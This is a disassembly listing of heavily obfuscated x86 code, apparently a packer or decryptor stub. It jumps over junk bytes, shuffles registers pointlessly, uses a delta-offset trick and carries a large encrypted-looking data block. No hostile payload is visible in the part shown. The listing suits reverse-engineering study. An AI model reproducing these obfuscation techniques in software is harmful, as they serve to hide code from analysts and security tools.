loc_46C46F: ; CODE XREF: DMN1:0046C463j
jmp short loc_46C489
; ---------------------------------------------------------------------------
db 26h, 0C1h, 8Ch
dd 0AE945713h, 2ED7F4E1h, 0F050809Dh, 0A2FA39E4h, 0DEF8969Bh
db 0E9h
; ---------------------------------------------------------------------------
loc_46C489: ; CODE XREF: DMN1:loc_46C46Fj
xchg eax, eax
jmp short loc_46C4A7
; ---------------------------------------------------------------------------
test al, 8Fh
daa
adc eax, 352EC7AEh
or bl, [ebp+1AEDB97h]
push ebx
sbb ah, 64h
xor esp, [eax+756A6C76h]
xor al, 28h
loc_46C4A7: ; CODE XREF: DMN1:0046C48Bj
jmp short loc_46C4BD
; ---------------------------------------------------------------------------
db 8, 0C4h, 99h
dd 0C39054E8h, 1CB5D51Ah, 0B639AECFh, 599ACA4Fh
; ---------------------------------------------------------------------------
xchg eax, ebp
loc_46C4BD: ; CODE XREF: DMN1:loc_46C4A7j
test ebp, 0C6DA2209h
xor esi, [eax]
or ebp, 121B0C55h
xchg ecx, ebp
xchg edx, esp
jmp short $+2
jmp short loc_46C4EC
; ---------------------------------------------------------------------------
db 0E0h
dd 2867185Fh, 13072B6Ah, 696C114Ch, 0F3B28371h, 7B447BEEh
dd 7CDCD98h
; ---------------------------------------------------------------------------
loc_46C4EC: ; CODE XREF: DMN1:0046C4D1j
jmp short loc_46C50D
; ---------------------------------------------------------------------------
dw 778Bh
dd 0AC46175h, 0ECC4676Fh, 24C16AC3h, 0C0CD57E7h, 0D159271Ch
dd 0E64CE7EBh, 175DD847h
db 36h
; ---------------------------------------------------------------------------
loc_46C50D: ; CODE XREF: DMN1:loc_46C4ECj
sar ecx, 3Fh
jmp short loc_46C529
; ---------------------------------------------------------------------------
db 90h
db 6Ah
dd 511D032h, 8E00AFA2h, 0AD3B83D6h, 9E84B71h, 0F1608CE1h
db 8Ah
; ---------------------------------------------------------------------------
loc_46C529: ; CODE XREF: DMN1:0046C510j
dec ebp
jmp short loc_46C538
; ---------------------------------------------------------------------------
dd 4C9854Ah, 0D1237CB2h, 1D5A7B46h
; ---------------------------------------------------------------------------
loc_46C538: ; CODE XREF: DMN1:0046C52Aj
xchg ebp, ecx
neg ecx
jmp short loc_46C556
; ---------------------------------------------------------------------------
dw 864Eh
dd 0A4A4C051h, 0AE9A74EAh, 4D2DA50Eh, 5D8BFC4Eh, 60492C0Bh
db 0C2h, 93h
; ---------------------------------------------------------------------------
loc_46C556: ; CODE XREF: DMN1:0046C53Cj
jmp short loc_46C572
; ---------------------------------------------------------------------------
dd 0B0708649h, 0A653704Eh, 6F247E53h, 251C59A7h, 0A195C666h
dd 82120E86h
db 0F2h, 0A3h
; ---------------------------------------------------------------------------
loc_46C572: ; CODE XREF: DMN1:loc_46C556j
jmp short $+2
xchg esi, [eax]
jmp short loc_46C597
; ---------------------------------------------------------------------------
dd 166A9EDh, 0C229F78h, 6866FDFBh, 0FF50C517h, 585A625Ch
dd 74EBFF2Dh, 115966D4h
db 77h, 0BDh, 0CCh
; ---------------------------------------------------------------------------
loc_46C597: ; CODE XREF: DMN1:0046C576j
jmp short loc_46C5AE
; ---------------------------------------------------------------------------
pop ds
xchg eax, edi
push edi
or cl, [eax]
lodsd
or bh, dl
jbe short near ptr byte_46C5A9
daa
retf 7E10h
; ---------------------------------------------------------------------------
db 0F2h
db 74h
byte_46C5A9 db 0D3h, 9Bh, 0CEh ; CODE XREF: DMN1:0046C5A1j
db 6, 34h
; ---------------------------------------------------------------------------
loc_46C5AE: ; CODE XREF: DMN1:loc_46C597j
not ebp
sub esi, 0D9FCF406h
clc
shl ebp, 0F6h
xchg edx, ebp
ror esi, 1
inc ecx
jmp short $+2
cld
dec ecx
jmp short loc_46C5CD
; ---------------------------------------------------------------------------
or ecx, [edx-23h]
mov esp, 0C4797307h
loc_46C5CD: ; CODE XREF: DMN1:0046C5C3j
jmp short loc_46C5D1
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
pusha
loc_46C5D1: ; CODE XREF: DMN1:loc_46C5CDj
jmp short loc_46C5D7
; ---------------------------------------------------------------------------
db 60h
db 0A3h, 99h, 21h
; ---------------------------------------------------------------------------
loc_46C5D7: ; CODE XREF: DMN1:loc_46C5D1j
test ecx, 0CE416FA5h
jmp short loc_46C5FE
; ---------------------------------------------------------------------------
db 41h
dd 2B0F9E5h, 0A55181C2h, 99466214h, 89C128EBh, 5BAACE2Ah
dd 5AF96419h, 5AA02A2Eh
db 27h, 77h
; ---------------------------------------------------------------------------
loc_46C5FE: ; CODE XREF: DMN1:0046C5DDj
jmp short loc_46C619
; ---------------------------------------------------------------------------
dd 0BFF774CDh, 4C197150h, 6D132FCBh, 90A322B3h, 5AE1E820h
dd 2085D482h
db 0EAh
; ---------------------------------------------------------------------------
loc_46C619: ; CODE XREF: DMN1:loc_46C5FEj
cmc
xchg esp, ecx
jmp short loc_46C624
; ---------------------------------------------------------------------------
dw 0A407h
db 90h
db 0E1h, 36h, 87h
; ---------------------------------------------------------------------------
loc_46C624: ; CODE XREF: DMN1:0046C61Cj
xchg esp, esi
loc_46C626: ; CODE XREF: DMN1:0046C659j
xchg esp, [eax]
jmp short loc_46C636
; ---------------------------------------------------------------------------
dw 90D1h
dd 0EFBCF3DCh, 8B353DBBh
; ---------------------------------------------------------------------------
fldcw word ptr [ebx]
loc_46C636: ; CODE XREF: DMN1:0046C628j
bswap ebx
jmp short loc_46C651
; ---------------------------------------------------------------------------
dw 7B3Fh
dd 0B286041Eh, 0F4580ACFh, 3EBE996Bh, 0A6211D2Ch, 0F2ACD24h
db 0B3h
; ---------------------------------------------------------------------------
loc_46C651: ; CODE XREF: DMN1:0046C638j
jmp short loc_46C657
; ---------------------------------------------------------------------------
db 55h
db 17h, 0DCh, 52h
; ---------------------------------------------------------------------------
loc_46C657: ; CODE XREF: DMN1:loc_46C651j
jmp short loc_46C662
; ---------------------------------------------------------------------------
jmp short loc_46C626
; ---------------------------------------------------------------------------
db 2Eh
; ---------------------------------------------------------------------------
popa
pushf
retn 3E9Ah
; ---------------------------------------------------------------------------
db 0B8h
; ---------------------------------------------------------------------------
loc_46C662: ; CODE XREF: DMN1:loc_46C657j
jmp short loc_46C668
; ---------------------------------------------------------------------------
dd 0F349F032h
; ---------------------------------------------------------------------------
loc_46C668: ; CODE XREF: DMN1:loc_46C662j
jmp short loc_46C67A
; ---------------------------------------------------------------------------
sbb al, 41h
mov ds:0F125E09h, eax
div byte ptr [eax]
loc_46C673: ; CODE XREF: DMN1:0046C67Dj
push edx
ror dword ptr [edi+63D548DBh], 1
loc_46C67A: ; CODE XREF: DMN1:loc_46C668j
jmp short loc_46C68B
; ---------------------------------------------------------------------------
dec ecx
jb short loc_46C673
add byte ptr [eax+7Bh], 61h
adc edi, [esp+edx*2-5B4D42A1h]
push cs
loc_46C68B: ; CODE XREF: DMN1:loc_46C67Aj
jmp short loc_46C691
; ---------------------------------------------------------------------------
db 83h, 29h, 73h
db 0A0h
; ---------------------------------------------------------------------------
loc_46C691: ; CODE XREF: DMN1:loc_46C68Bj
jmp short loc_46C6A0
; ---------------------------------------------------------------------------
db 93h
dd 1595503Eh, 0FA46092Bh, 57D37C73h
; ---------------------------------------------------------------------------
loc_46C6A0: ; CODE XREF: DMN1:loc_46C691j
jmp short loc_46C6B1
; ---------------------------------------------------------------------------
dw 0E997h
; ---------------------------------------------------------------------------
xlat
push ecx
pop dword ptr [eax+ebx*8]
retn 7F39h
; ---------------------------------------------------------------------------
pushf
inc esi
mov ch, 41h
xchg eax, edi
loc_46C6B1: ; CODE XREF: DMN1:loc_46C6A0j
jmp short loc_46C6BB
; ---------------------------------------------------------------------------
db 4Ch
dd 2A769836h
db 99h, 63h, 1Ch
; ---------------------------------------------------------------------------
loc_46C6BB: ; CODE XREF: DMN1:loc_46C6B1j
jmp short loc_46C6C4
; ---------------------------------------------------------------------------
db 0D5h, 0F7h, 2Ch
; ---------------------------------------------------------------------------
ror dword ptr [edx], 19h
loc_46C6C4: ; CODE XREF: DMN1:loc_46C6BBj
xchg edi, edi
mov ebx, ebp
not edx
jmp short loc_46C6DB
; ---------------------------------------------------------------------------
dd 14E81F79h, 1C41FB1Eh, 44865EBAh
db 0CFh, 53h, 0CFh
; ---------------------------------------------------------------------------
loc_46C6DB: ; CODE XREF: DMN1:0046C6CAj
xchg edi, ecx
jmp short loc_46C6F4
; ---------------------------------------------------------------------------
db 0BCh
dd 7B77C92Ch, 272F97BCh, 0B3F0D57Ah, 0A83563F7h, 4088FCC6h
; ---------------------------------------------------------------------------
loc_46C6F4: ; CODE XREF: DMN1:0046C6DDj
jmp short loc_46C702
; ---------------------------------------------------------------------------
dw 916Ah
dd 93695E41h, 0D84D190Ah
db 17h, 0FFh
; ---------------------------------------------------------------------------
loc_46C702: ; CODE XREF: DMN1:loc_46C6F4j
jmp short loc_46C709
; ---------------------------------------------------------------------------
dd 65C717B7h
db 71h
; ---------------------------------------------------------------------------
loc_46C709: ; CODE XREF: DMN1:loc_46C702j
jmp short loc_46C721
; ---------------------------------------------------------------------------
db 7Ah
dd 452FE563h, 8EDF4060h, 0C7ED22E7h, 6C61106Bh, 0E2C3DBF2h
db 0C4h
; ---------------------------------------------------------------------------
loc_46C721: ; CODE XREF: DMN1:loc_46C709j
jmp short loc_46C738
; ---------------------------------------------------------------------------
pop ebx
mov [edi-73CA1BBBh], al
sbb byte ptr [ebx-5E625356h], 6Dh
mov es, word ptr [esi]
mov edx, 0EEF5256Fh
loc_46C738: ; CODE XREF: DMN1:loc_46C721j
cld
jmp short loc_46C748
; ---------------------------------------------------------------------------
db 70h
dd 0C0CFE3FAh, 3BE48076h, 1B6CA66Dh
; ---------------------------------------------------------------------------
loc_46C748: ; CODE XREF: DMN1:0046C739j
xchg edx, edi
jmp short loc_46C762
; ---------------------------------------------------------------------------
pop edi
jb short loc_46C782
mov bh, 0ECh
or al, 5Ch
sub edx, [edx+68A9EE39h]
shr esi, 1
cmp ch, [esi-49h]
adc cl, [esi+1Fh]
loc_46C762: ; CODE XREF: DMN1:0046C74Aj
jmp short loc_46C77B
; ---------------------------------------------------------------------------
dd 3ECF01F9h, 9C380C89h, 0FA1D6304h, 89E042E8h, 0EFC28AEFh
db 8Dh, 0F1h, 3Dh
; ---------------------------------------------------------------------------
loc_46C77B: ; CODE XREF: DMN1:loc_46C762j
add ebx, edx
xchg eax, edi
jmp short loc_46C796
; ---------------------------------------------------------------------------
db 39h
; ---------------------------------------------------------------------------
loc_46C782: ; CODE XREF: DMN1:0046C74Dj
call far ptr 4A23h:383D1087h
or ecx, 1Ch
outsd
push esp
xor byte ptr [ebx+28D6B92h], 0Bh
; ---------------------------------------------------------------------------
db 0B4h
; ---------------------------------------------------------------------------
loc_46C796: ; CODE XREF: DMN1:0046C77Fj
mov [ebx], esp
jmp short loc_46C7B7
; ---------------------------------------------------------------------------
dw 2017h
dd 557ED52Ah, 694CDFC8h, 1D857DADh, 0D65A439Ah, 83475F65h
dd 703AF3BFh
db 0A1h, 92h, 0E4h
; ---------------------------------------------------------------------------
loc_46C7B7: ; CODE XREF: DMN1:0046C798j
std
jmp short loc_46C7D8
; ---------------------------------------------------------------------------
dw 0D360h
dd 7CBB20h, 62EE5B82h, 0E7509DF5h, 0CCFC75F6h, 0AB6B15DFh
dd 8EAA1E9Eh, 128917B9h
; ---------------------------------------------------------------------------
loc_46C7D8: ; CODE XREF: DMN1:0046C7B8j
jmp short loc_46C7E1
; ---------------------------------------------------------------------------
and [eax], cl
mov ah, 8Fh
add edx, [ebx]
loc_46C7E1: ; CODE XREF: DMN1:loc_46C7D8j
test ebx, 13723F9Ch
clc
stc
inc edx
jmp short loc_46C801
; ---------------------------------------------------------------------------
dd 686AB88Fh, 0E904CCF7h, 4B68FE6h, 0D33599A1h, 0ACC99088h
db 8Fh
; ---------------------------------------------------------------------------
loc_46C801: ; CODE XREF: DMN1:0046C7EAj
xchg esp, esi
jmp short loc_46C816
; ---------------------------------------------------------------------------
db 6Eh, 48h, 0EAh
; ---------------------------------------------------------------------------
pushf
cmp [ecx-272BC1D5h], al
retn
; ---------------------------------------------------------------------------
dd 47C73FB8h
db 6Dh, 0B5h
; ---------------------------------------------------------------------------
loc_46C816: ; CODE XREF: DMN1:0046C803j
jmp short loc_46C826
; ---------------------------------------------------------------------------
dd 73672EFBh, 417ACF87h, 0F31FDDBFh
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
push esi
loc_46C826: ; CODE XREF: DMN1:loc_46C816j
jmp short loc_46C82A
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 7Ah
; ---------------------------------------------------------------------------
loc_46C82A: ; CODE XREF: DMN1:loc_46C826j
stc
xchg ebx, edx
jmp short loc_46C833
; ---------------------------------------------------------------------------
enter 572Ah, 94h
loc_46C833: ; CODE XREF: DMN1:0046C82Dj
jmp short loc_46C852
; ---------------------------------------------------------------------------
db 2Fh, 80h, 0FEh
dd 0F9C0952Eh, 2AAE629Ch, 5A39A1AEh, 6DEEC78Ch, 0EC93881Bh
dd 3DB7DB6Ah
; ---------------------------------------------------------------------------
push es
push esi
loc_46C852: ; CODE XREF: DMN1:loc_46C833j
jmp short loc_46C867
; ---------------------------------------------------------------------------
dd 67D69166h, 44A63C82h, 23A5C558h, 8433ECB0h
; ---------------------------------------------------------------------------
adc [eax+2Eh], dl
loc_46C867: ; CODE XREF: DMN1:loc_46C852j
std
add ebx, 1
jmp short loc_46C880
; ---------------------------------------------------------------------------
db 77h, 36h, 74h
dd 0A90C3843h, 0B36DF2DBh, 957C2BCFh, 0D0E32CDAh
; ---------------------------------------------------------------------------
loc_46C880: ; CODE XREF: DMN1:0046C86Bj
stc
jmp short loc_46C889
; ---------------------------------------------------------------------------
db 91h
dd 0DE9031DBh
; ---------------------------------------------------------------------------
push ds
loc_46C889: ; CODE XREF: DMN1:0046C881j
jmp short loc_46C898
; ---------------------------------------------------------------------------
db 0F3h
dd 0EF7C82E1h, 0D76490FCh, 7219EBEFh
; ---------------------------------------------------------------------------
loc_46C898: ; CODE XREF: DMN1:loc_46C889j
jmp short loc_46C8B4
; ---------------------------------------------------------------------------
dw 0D378h
dd 265DA06Bh, 2531F4Dh, 422D3EF9h, 0D5445E3h, 5AACA8C0h
dd 0FD95645Ch
; ---------------------------------------------------------------------------
loc_46C8B4: ; CODE XREF: DMN1:loc_46C898j
cmp esp, 7172A3E5h
jmp short loc_46C8C8
; ---------------------------------------------------------------------------
aad 75h
or bl, bh
rol byte ptr [edx], cl
retf 6456h
; ---------------------------------------------------------------------------
db 0E4h, 0DCh, 41h
; ---------------------------------------------------------------------------
loc_46C8C8: ; CODE XREF: DMN1:0046C8BAj
xor eax, 5FAD6F29h
jmp short loc_46C8E9
; ---------------------------------------------------------------------------
dd 829AE9A8h, 0E0836CBCh, 70EEE554h, 923F1E96h, 0F743BD26h
dd 0EA448A8Ch
; ---------------------------------------------------------------------------
popf
loc_46C8E9: ; CODE XREF: DMN1:0046C8CEj
jmp short loc_46C907
; ---------------------------------------------------------------------------
db 2Dh
dd 506A1BF1h, 4233DB7Eh, 8ADBA1E0h, 4A09FA16h, 0C3374C40h
dd 0A5E438D6h
; ---------------------------------------------------------------------------
mov ah, 69h
wait
loc_46C907: ; CODE XREF: DMN1:loc_46C8E9j
add ebx, 2
clc
jmp short loc_46C91A
; ---------------------------------------------------------------------------
db 0B6h, 64h, 81h
dd 0AB938F8h, 0A3E756A5h
db 0CDh, 45h
; ---------------------------------------------------------------------------
loc_46C91A: ; CODE XREF: DMN1:0046C90Bj
xchg ebp, ecx
jmp short loc_46C930
; ---------------------------------------------------------------------------
dw 0D780h
dd 0AB8EE008h, 8711DED5h, 0DA097688h, 0F25C6CC5h
; ---------------------------------------------------------------------------
loc_46C930: ; CODE XREF: DMN1:0046C91Cj
std
jmp short loc_46C937
; ---------------------------------------------------------------------------
db 0EDh
; ---------------------------------------------------------------------------
jns short loc_46C95F
pop esi
loc_46C937: ; CODE XREF: DMN1:0046C931j
jmp short loc_46C950
; ---------------------------------------------------------------------------
and al, 0BCh
db 26h
mov ebx, 2D2D4B0Dh
mov ecx, 0F520F602h
cmp byte ptr [ebp+72h], 0DCh
xchg eax, esp
stosd
rcr byte ptr [edx-40h], 9
loc_46C950: ; CODE XREF: DMN1:loc_46C937j
bswap esi
clc
jmp short loc_46C960
; ---------------------------------------------------------------------------
db 91h, 22h, 0F0h
dd 7E05A9Fh
db 6Dh, 0C5h, 46h
; ---------------------------------------------------------------------------
loc_46C95F: ; CODE XREF: DMN1:0046C934j
cmc
loc_46C960: ; CODE XREF: DMN1:0046C953j
sub ebp, 1
jz short loc_46C9BB
xchg ebx, ebx
xchg eax, ebx
jmp short loc_46C96D
; ---------------------------------------------------------------------------
db 39h
; ---------------------------------------------------------------------------
xchg eax, ebx
loc_46C96D: ; CODE XREF: DMN1:0046C969j
jmp short loc_46C971
; ---------------------------------------------------------------------------
db 41h
db 7Fh
; ---------------------------------------------------------------------------
loc_46C971: ; CODE XREF: DMN1:loc_46C96Dj
xchg esi, ebp
jmp short loc_46C980
; ---------------------------------------------------------------------------
db 4Fh, 4, 0E1h
dd 7EFFCB5h, 3EA000B1h
; ---------------------------------------------------------------------------
loc_46C980: ; CODE XREF: DMN1:0046C973j
cmc
xor edx, 9C456819h
jmp short loc_46C98A
; ---------------------------------------------------------------------------
db 6Ah
; ---------------------------------------------------------------------------
loc_46C98A: ; CODE XREF: DMN1:0046C987j
xchg ebp, ecx
jmp short loc_46C9A2
; ---------------------------------------------------------------------------
and esi, edi
dec ebp
leave
or bl, [esp+eax]
mov esi, esp
mov [ecx+1BE9B2C3h], bh
db 67h
rol bl, 0FBh
std
loc_46C9A2: ; CODE XREF: DMN1:0046C98Cj
jmp short loc_46C9B4
; ---------------------------------------------------------------------------
dd 0E309AA99h, 563A4BC0h, 71B835CCh, 9ED807A3h
; ---------------------------------------------------------------------------
loc_46C9B4: ; CODE XREF: DMN1:loc_46C9A2j
xchg ecx, edi
jmp loc_46C282
; ---------------------------------------------------------------------------
loc_46C9BB: ; CODE XREF: DMN1:0046C963j
xchg ebp, ecx
xchg esp, edi
jmp short loc_46C9CA
; ---------------------------------------------------------------------------
db 80h, 71h, 5Eh
dd 0A211AB67h
db 0AEh, 0C7h
; ---------------------------------------------------------------------------
loc_46C9CA: ; CODE XREF: DMN1:0046C9BFj
jmp short loc_46C9DB
; ---------------------------------------------------------------------------
dd 0B659F4E6h, 3018E5FAh, 0B271A00Dh
db 0Eh, 0EFh, 28h
; ---------------------------------------------------------------------------
loc_46C9DB: ; CODE XREF: DMN1:loc_46C9CAj
jmp short loc_46C9ED
; ---------------------------------------------------------------------------
db 92h, 76h, 0ADh
dd 81ED762Eh, 0A41DD606h, 0F85F4D50h
; ---------------------------------------------------------------------------
cmpsb
loc_46C9ED: ; CODE XREF: DMN1:loc_46C9DBj
clc
cmc
cld
jmp short loc_46CA0C
; ---------------------------------------------------------------------------
dw 2F20h
dd 22481688h, 6EB622C5h, 0A72668BAh, 71E61CD4h, 344F2A39h
dd 461176C9h
; ---------------------------------------------------------------------------
loc_46CA0C: ; CODE XREF: DMN1:0046C9F0j
pop edi
jmp short loc_46CA12
; ---------------------------------------------------------------------------
cmp [esi-1Fh], dl
loc_46CA12: ; CODE XREF: DMN1:0046CA0Dj
stc
jmp short loc_46CA19
; ---------------------------------------------------------------------------
db 0BAh, 9, 78h
db 7Bh
; ---------------------------------------------------------------------------
loc_46CA19: ; CODE XREF: DMN1:0046CA13j
jmp short loc_46CA1F
; ---------------------------------------------------------------------------
db 6Fh
db 6Fh, 0B3h, 0F4h
; ---------------------------------------------------------------------------
loc_46CA1F: ; CODE XREF: DMN1:loc_46CA19j
jmp short loc_46CA35
; ---------------------------------------------------------------------------
db 2Ch, 42h, 86h
dd 12606992h, 0BF411FB6h, 0F64E4255h, 23A6F4Dh
db 2Ch
; ---------------------------------------------------------------------------
loc_46CA35: ; CODE XREF: DMN1:loc_46CA1Fj
cld
not edi
jmp short loc_46CA40
; ---------------------------------------------------------------------------
dw 0C8E4h
dd 0B76650FDh
; ---------------------------------------------------------------------------
loc_46CA40: ; CODE XREF: DMN1:0046CA38j
jmp short loc_46CA45
; ---------------------------------------------------------------------------
dw 50F9h
db 8Ah
; ---------------------------------------------------------------------------
loc_46CA45: ; CODE XREF: DMN1:loc_46CA40j
jmp short loc_46CA64
; ---------------------------------------------------------------------------
db 0F1h
dd 0A983DDF9h, 5E6975Eh, 5E2BE1C4h, 3DEA5854h, 0ACF249CFh
dd 0F6340FAAh, 0BC598040h
; ---------------------------------------------------------------------------
loc_46CA64: ; CODE XREF: DMN1:loc_46CA45j
jmp short loc_46CA7C
; ---------------------------------------------------------------------------
dw 0B864h
dd 3962544Bh, 67BB70C3h, 0B2F15F20h, 0A638AB24h, 0B40E335Eh
; ---------------------------------------------------------------------------
loc_46CA7C: ; CODE XREF: DMN1:loc_46CA64j
cld
jmp short loc_46CA8C
; ---------------------------------------------------------------------------
db 0E0h
dd 0C86A050Fh, 215B901Fh, 0BBFFFBC7h
; ---------------------------------------------------------------------------
loc_46CA8C: ; CODE XREF: DMN1:0046CA7Dj
jmp short loc_46CA99
; ---------------------------------------------------------------------------
dw 1F18h
dd 0FEF681h, 53BAF16Dh
; ---------------------------------------------------------------------------
inc ebx
loc_46CA99: ; CODE XREF: DMN1:loc_46CA8Cj
cld
jmp loc_46BBFB
; ---------------------------------------------------------------------------
loc_46CA9F: ; CODE XREF: DMN1:0046D719j
popa
pop ebp
jmp loc_46C09B
; ---------------------------------------------------------------------------
dw 0A2A2h
dd 4D3973DCh, 0BE31A040h, 0BB0B3AD4h, 9FD02448h, 729A0ADEh
dd 6C593F3Dh, 7E37BD52h, 0F1F3F0AAh, 0ECB02A81h, 0E5B818D9h
dd 0CDA4D79Bh, 0D66195DEh, 0E71E9AC2h, 0C91DEBA3h, 53F735FAh
dd 0CB7202E6h, 1DFDAD58h, 0FF1738E0h, 0D00AF2E8h, 9835A4ADh
dd 3B0E68Ch, 6610E144h, 977887D0h, 9FCCAFFBh, 26645143h
dd 553C0AE3h, 7E5210E5h, 0E27C99D9h, 6C9EC875h, 58D3AD28h
dd 0CCE4C38Dh, 8238438Bh, 0D9E3CACh, 9F7112D3h, 0DCA45A97h
dd 9C26C6AAh, 0F5EF807h, 5B07C8EDh, 5D1E36D9h, 55D5B974h
dd 11E4A1F2h, 9D9952D2h, 0F4D4EB04h, 0D037EC2Ah, 940ED01Bh
dd 32DB8E5Ch, 6E87FD5Eh, 121CCE0Ch, 0C180377Bh, 9C0FD110h
dd 44C9159h, 4CF7509Ch, 0AF74525Ch, 7782B350h, 0A3A812D7h
dd 79A0AB89h, 2167E8D0h, 72F39B18h, 0C156B8BEh, 1F06CAD7h
dd 0DA73FBECh, 315DB7DEh, 0E072C36Eh, 26FB68B6h, 48C0245h
dd 90B03AAFh, 6FCD65A1h, 0B696F46Bh, 47A9DEB9h, 0AEB0D8BAh
dd 0E3AE7022h, 7D59A4F7h, 513A8F97h, 0BF99A156h, 85C3D510h
dd 0EF9ACB18h, 0D7A3A99Dh, 925FE592h, 9DF7BDCBh, 8366C55Ch
dd 0FBEE8074h, 5BE8907Fh, 0E2DCBEF9h, 0F3EEFDB6h, 0D5451E9Ah
dd 5D1697EAh, 0F64B0C5h, 0DE5B9A53h, 8EACAC18h, 596E3178h
dd 9131705Dh, 0F5B738B0h, 7AB8FD11h, 847EF6E4h, 0C3D7CE60h
dd 7E3AE393h, 0E9BDB6ADh, 0B194934Bh, 0DF873FFh, 0A9068349h
dd 0E32F9ECDh, 5B49A0C0h, 3AB096B8h, 6E889D29h, 0C18BC367h
dd 2D9EFA14h, 0AF19F312h, 71CCB243h, 30C681F2h, 28CF4FDCh
dd 5A1728F1h, 0FCA9A355h, 9ECE1BC4h, 3F58327Bh, 933EC877h
dd 4F01DB5Bh, 0DE147883h, 0B5B9D5A5h, 54931554h, 0E494CDF1h
dd 0BF07DC5Ah, 0CB69F370h, 0DF2AB580h, 45C4AF52h, 431AC782h
dd 50E41157h, 7FF2C40Dh, 1560F3C4h, 0C6FA6625h, 1CB1D87Dh
dd 8D63B943h, 67AF49A4h, 0C220FC33h, 59CC4A85h, 50CCE3DFh
dd 0F99C003Fh, 56074102h, 410961A3h, 0E382F022h, 0D79E6577h
dd 0D104F9B9h, 0C7009AB5h, 3A3A4CF2h, 0D21F7C35h, 9E920049h
dd 269ED3EDh, 32358C5Eh, 4CA2D580h, 0BFFA3352h, 1F5986BAh
dd 36345A3Bh, 162711F2h, 0D14DFE89h, 656E7F48h, 76D70173h
dd 42D2EF96h, 72A004B7h, 17BA1C6Eh, 4BA427B9h, 28607E88h
dd 1151D26Eh, 85710C5h, 569AA7A2h, 6AE5D244h, 9F705E3Bh
dd 0F8A77EAEh, 801EAE15h, 0D699B09Eh, 86A1312Eh, 0B7868A5Ah
dd 0ECA277E0h, 14F49E8h, 0FB01DFAh, 74714E57h, 0F5169A87h
dd 41DE4F97h, 0D665CE7Eh, 0F8BE88F7h, 7A69CD71h, 0D1A0126Bh
dd 996121CBh, 96006F9Eh, 8C74ACB5h, 0B77531Dh, 0A68331CAh
dd 0FE1E18F8h, 0E64ED443h, 92105FE9h, 0F0B429Bh, 0A2036141h
dd 10EF04D1h, 0EC8236A3h, 0DFF8CACEh, 122FA17h, 55327BE0h
dd 0E153AC37h, 20288BB7h, 7AE1325Fh, 2212962h, 0F59EDE9Ah
dd 195C40FCh, 0FD24B091h, 9923017Fh, 0ABAD3A23h, 91C40DB6h
dd 0E7E13907h, 0CB8FE97Eh, 224D1D4Eh, 0FCE6CD3Ah, 98D22192h
dd 52C8BDA7h, 535F1709h, 0CD04B68Ch, 391B59C2h, 0F8388ABEh
dd 70DDB071h, 0C2810FD8h, 154298DFh, 7B6576C1h, 22EE4A1Bh
dd 7DB319A4h, 0BDD2F841h, 9F3867B2h, 0C7250F73h, 0B860373Eh
dd 25A1D5FEh, 14552B98h, 3E4DCB19h, 63109079h, 0A57211A0h
dd 759BBA9h, 0C871A2DEh, 0A54D527Bh, 0A5B777BDh, 0AF09E951h
dd 83BA3509h, 54D74DFAh, 0F4FBE901h, 8EA7D2B9h, 3FB6DA9Ah
dd 47AA071Bh, 0BB6B24E2h, 65E39992h, 34C5D12Fh, 0B465C85Ch
dd 33123A8Fh, 88C6F28Dh, 59656016h, 1F44E463h, 0C150577Bh
dd 0B7CB897Bh, 77BBBA90h, 0F34F4B9Ah, 0D0B1AC24h, 26B68347h
dd 1B81519Ch, 0D83782C7h, 88EDF459h, 44F0E7F8h, 3C320386h
dd 7D66DFF0h, 9421708Ah, 46C1BEB3h, 417C7D60h, 3C160737h
dd 9135F730h, 53330E8Dh, 0FF9B4C3Eh, 0C1191618h, 10616FEDh
dd 0F2C36AB1h, 3DC305E3h, 31935DA7h, 76020202h, 13BA2E21h
dd 39F4C856h, 5C839E5h, 0E6FA5DF4h, 0EE5DEDDCh, 33294E3Ah
dd 5589C557h, 5AAB2353h, 0E47EB655h, 0DAE4BB80h, 4EC0816Fh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
call $+5
pop ebp
sub ebp, 6CF24h
pusha
mov eax, 0C1DAE02h
push eax
xchg eax, ecx
stc
jmp short loc_46CF50
; ---------------------------------------------------------------------------
db 99h
dd 231DAB2Dh, 0C8EBE2F7h, 6A71B7Ch, 9520EB8h, 9852D4B5h
dd 48240F27h
; ---------------------------------------------------------------------------
loc_46CF50: ; CODE XREF: DMN1:0046CF35j
jmp short loc_46CF5D
; ---------------------------------------------------------------------------
dw 6B0Bh
dd 0B39976Eh, 0EF3F572Ch
db 0BCh
; ---------------------------------------------------------------------------
loc_46CF5D: ; CODE XREF: DMN1:loc_46CF50j
jmp short loc_46CF6F
; ---------------------------------------------------------------------------
db 29h
; ---------------------------------------------------------------------------
jmp short loc_46CF94
; ---------------------------------------------------------------------------
dw 4E21h
dd 3C51433h, 0B3FB3FA3h
db 0C8h, 68h, 0C1h
; ---------------------------------------------------------------------------
loc_46CF6F: ; CODE XREF: DMN1:loc_46CF5Dj
jmp short loc_46CF81
; ---------------------------------------------------------------------------
db 0A7h, 2 dup(30h)
dd 0C76EDEE7h, 5BA9E5CBh, 694840F6h
db 64h
; ---------------------------------------------------------------------------
loc_46CF81: ; CODE XREF: DMN1:loc_46CF6Fj
jmp short $+2
jmp short loc_46CF9E
; ---------------------------------------------------------------------------
db 7Ch, 0FAh, 0FCh
dd 3B2F6A32h, 69BAC7B8h, 0BB2223BFh
; ---------------------------------------------------------------------------
loc_46CF94: ; CODE XREF: DMN1:0046CF60j
mov ah, bh
fnstcw word ptr ds:0D42756DBh
out 0F8h, al ; AT 80287 data.
; 286 sends opcodes & operands and receives results.
loc_46CF9E: ; CODE XREF: DMN1:0046CF83j
xchg ecx, eax
sub edi, edi
jmp short loc_46CFC0
; ---------------------------------------------------------------------------
dd 7F412F19h, 16E1DDF8h, 0DD76F1FDh, 0E97C8BB1h, 0EF9809EDh
dd 721DC594h, 7AD235FFh
; ---------------------------------------------------------------------------
loc_46CFC0: ; CODE XREF: DMN1:0046CFA2j
jmp short loc_46CFCC
; ---------------------------------------------------------------------------
dw 81Eh
dd 3898818Dh, 0BA3D7C4Ah
; ---------------------------------------------------------------------------
loc_46CFCC: ; CODE XREF: DMN1:loc_46CFC0j
jmp short loc_46CFEA
; ---------------------------------------------------------------------------
dw 65Eh
dd 24906607h, 85C6CF99h, 3C97F4F6h, 0BE2DA8B7h, 87D5E4B9h
dd 0DF7E510h
db 87h, 64h
; ---------------------------------------------------------------------------
loc_46CFEA: ; CODE XREF: DMN1:loc_46CFCCj
std
jmp short loc_46CFFE
